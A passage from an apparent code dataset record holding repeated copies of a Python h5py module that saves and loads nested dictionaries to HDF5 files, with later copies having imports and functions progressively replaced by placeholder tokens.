new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]\n ) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype(\n 'int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype(\n 'uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype\n ).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' %\n (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1, 1):\n saved_dict_curr[key] = group_or_val[()][0, 0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in\n group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (\n key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key,\n type_))\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n", "<import token>\ndt = h5py.special_dtype(vlen=bytes)\n\n\ndef stringDataset(group, name, data, system=None):\n dset = group.create_dataset(name, (1,), dtype=dt, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\ndef addSystemAttribute(dset_or_group, data):\n return addStringAttribute(dset_or_group, 'system', data)\n\n\ndef add_dataset(group, name, data, system=None, dtype=None):\n if type(data) is str:\n return stringDataset(group, name, data, system)\n else:\n if dtype:\n dset = group.create_dataset(name, data=data, dtype=dtype)\n else:\n dset = group.create_dataset(name, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\ndef loadH5Recursive(h5_file):\n\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]\n ) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype(\n 'int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype(\n 'uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype\n ).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' %\n (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1, 1):\n saved_dict_curr[key] = group_or_val[()][0, 0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in\n group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (\n key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key,\n type_))\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n", "<import token>\n<assignment token>\n\n\ndef stringDataset(group, name, data, system=None):\n dset = group.create_dataset(name, (1,), dtype=dt, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\ndef addSystemAttribute(dset_or_group, data):\n return addStringAttribute(dset_or_group, 'system', data)\n\n\ndef add_dataset(group, name, data, system=None, dtype=None):\n if type(data) is str:\n return stringDataset(group, name, data, system)\n else:\n if dtype:\n dset = group.create_dataset(name, data=data, dtype=dtype)\n else:\n dset = group.create_dataset(name, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\ndef loadH5Recursive(h5_file):\n\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]\n ) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype(\n 'int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype(\n 'uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype\n ).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' %\n (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1, 1):\n saved_dict_curr[key] = group_or_val[()][0, 0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in\n group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (\n key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key,\n type_))\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n", "<import token>\n<assignment token>\n\n\ndef stringDataset(group, name, data, system=None):\n dset = group.create_dataset(name, (1,), dtype=dt, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\n<function token>\n\n\ndef add_dataset(group, name, data, system=None, dtype=None):\n if type(data) is str:\n return stringDataset(group, name, data, system)\n else:\n if dtype:\n dset = group.create_dataset(name, data=data, dtype=dtype)\n else:\n dset = group.create_dataset(name, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\ndef loadH5Recursive(h5_file):\n\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]\n ) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype(\n 'int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype(\n 'uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype\n ).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' %\n (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1, 1):\n saved_dict_curr[key] = group_or_val[()][0, 0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in\n group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (\n key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key,\n type_))\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n", "<import token>\n<assignment token>\n\n\ndef stringDataset(group, name, data, system=None):\n dset = group.create_dataset(name, (1,), dtype=dt, data=data)\n if system:\n addSystemAttribute(dset, system)\n return dset\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\n<function token>\n<function token>\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\ndef loadH5Recursive(h5_file):\n\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]\n ) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype(\n 'int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype(\n 'uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype\n ).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' %\n (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = np.array(group_or_val[()]).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = float(saved_dict_curr[key])\n elif dtype.str.startswith('|S'):\n if group_or_val[()].shape == (1, 1):\n saved_dict_curr[key] = group_or_val[()][0, 0].decode()\n elif group_or_val[()].shape == (1,):\n saved_dict_curr[key] = group_or_val[()][0].decode()\n elif group_or_val[()].shape == ():\n saved_dict_curr[key] = group_or_val[()].decode()\n else:\n saved_dict_curr[key] = [x.decode() for x in\n group_or_val[()].squeeze()]\n elif dtype.str == '|O':\n saved_dict_curr[key] = group_or_val[()]\n elif type(group_or_val[()]) is str:\n saved_dict_curr[key] = group_or_val[()]\n else:\n print('Could not store key %s with type %s in dict (2)' % (\n key, dtype))\n else:\n print('Could not store key %s with type %s in dict (3)' % (key,\n type_))\n saved_dict = {}\n with h5py.File(h5_file.strip(), 'r') as f:\n if 'none' in f:\n recurse_load(f['none'], 'key', saved_dict)\n saved_dict = saved_dict['key']\n else:\n recurse_load(f, 'key', saved_dict)\n return saved_dict\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef addStringAttribute(dset_or_group, name, data):\n dset_or_group.attrs[name] = bytes(data, 'utf-8')\n\n\n<function token>\n<function token>\n\n\ndef saveH5Recursive(h5_filename, data_dict):\n try:\n import tracking\n except ImportError:\n from . import tracking\n\n def recurse_save(group, dict_or_data, dict_or_data_name, new_group=None):\n if dict_or_data is None:\n dict_or_data = 'None'\n if group is None:\n print(\"'recurse_save' has been called with None\")\n raise ValueError\n if type(dict_or_data) is tracking.BeamProfile or type(dict_or_data\n ) is tracking.ScreenDistribution:\n dict_or_data = dict_or_data.to_dict()\n if type(dict_or_data) is tuple:\n dict_or_data = {'tuple_%i': x for i, x in enumerate(dict_or_data)}\n if type(dict_or_data) is dict:\n if type(dict_or_data_name) is int:\n inner_key = str(dict_or_data_name)\n try:\n new_group = group.create_group(dict_or_data_name)\n except Exception as e:\n print(e)\n print(dict_or_data_name, 'error')\n if new_group is None:\n raise ValueError\n for key, val in dict_or_data.items():\n try:\n recurse_save(new_group, val, key)\n except ValueError as e:\n print(e)\n print('I called recurse_save with None')\n else:\n mydata = dict_or_data\n inner_key = dict_or_data_name\n if type(mydata) is str:\n add_dataset(group, inner_key, mydata.encode('utf-8'), 'unknown'\n )\n elif type(mydata) is list and type(mydata[0]) is str or hasattr(\n mydata, 'dtype') and mydata.dtype.type is np.str_:\n try:\n if hasattr(mydata, 'dtype'\n ) and mydata.dtype.type is np.str and len(mydata.shape\n ) == 2:\n mydata = mydata.flatten()\n if len(mydata.shape) == 2:\n new_list = [[n.encode('ascii') for n in arr] for\n arr in mydata]\n max_str_size = max(max(len(n) for n in arr) for arr in\n mydata)\n elif len(mydata.shape) == 1:\n new_list = [n.encode('ascii') for n in mydata]\n max_str_size = max(len(n) for n in mydata)\n elif len(mydata.shape) == 0:\n new_list = [mydata.encode('ascii')]\n max_str_size = len(new_list[0])\n dset = group.create_dataset(inner_key, mydata.shape, \n 'S%i' % max_str_size, new_list)\n dset.attrs.create('system', 'unknown', (1,), dtype=dt)\n except:\n print('Error for key', inner_key)\n print(type(mydata))\n if type(mydata) is list:\n print('type(mydata[0])')\n print(type(mydata[0]))\n print('mydata')\n print(mydata)\n elif hasattr(mydata, 'dtype') and mydata.dtype == np.dtype('O'):\n if mydata.shape == ():\n add_dataset(group, inner_key, mydata, 'unknown')\n elif len(mydata.shape) == 1:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print(e)\n print('Error for key', inner_key)\n print(group, inner_key)\n else:\n for i in range(mydata.shape[0]):\n for j in range(mydata.shape[1]):\n try:\n add_dataset(group, inner_key + '_%i_%i' % (\n i, j), mydata[i, j], 'unknown')\n except:\n print('Error for key', inner_key)\n print(group, inner_key, i, j)\n else:\n try:\n add_dataset(group, inner_key, mydata, 'unknown')\n except Exception as e:\n print('Error', e)\n print(inner_key, type(mydata))\n with h5py.File(h5_filename, 'w') as dataH5:\n for main_key, subdict in data_dict.items():\n recurse_save(dataH5, subdict, main_key, None)\n\n\ndef loadH5Recursive(h5_file):\n\n def recurse_load(group_or_val, key, saved_dict_curr):\n type_ = type(group_or_val)\n try:\n group_or_val[()]\n except:\n hasval = False\n else:\n hasval = True\n if type_ is h5py._hl.files.File:\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, saved_dict_curr)\n elif type_ is h5py._hl.group.Group:\n saved_dict_curr[key] = new_dict = {}\n for new_key, new_group_or_val in group_or_val.items():\n recurse_load(new_group_or_val, new_key, new_dict)\n elif type_ == np.dtype('O') and hasval and type(group_or_val[()]\n ) is bytes:\n saved_dict_curr[key] = group_or_val[()].decode()\n elif type_ == h5py._hl.dataset.Dataset:\n dtype = group_or_val.dtype\n if dtype in (np.dtype('int64'), np.dtype('int32'), np.dtype(\n 'int16'), np.dtype('int8'), np.dtype('uint32'), np.dtype(\n 'uint16'), np.dtype('uint8'), np.dtype('uint64')):\n saved_dict_curr[key] = np.array(group_or_val[()], dtype\n ).squeeze()\n if saved_dict_curr[key].size == 1:\n saved_dict_curr[key] = int(saved_dict_curr[key])\n elif dtype == np.dtype('bool'):\n try:\n saved_dict_curr[key] = bool(group_or_val[()])\n except Exception as e:\n print(e)\n print('Could not store key %s with type %s in dict (1)' %\n (key, dtype))\n elif dtype in (np.dtype('float64'), np.dtype('float32')):\n saved_dict_curr[key] = 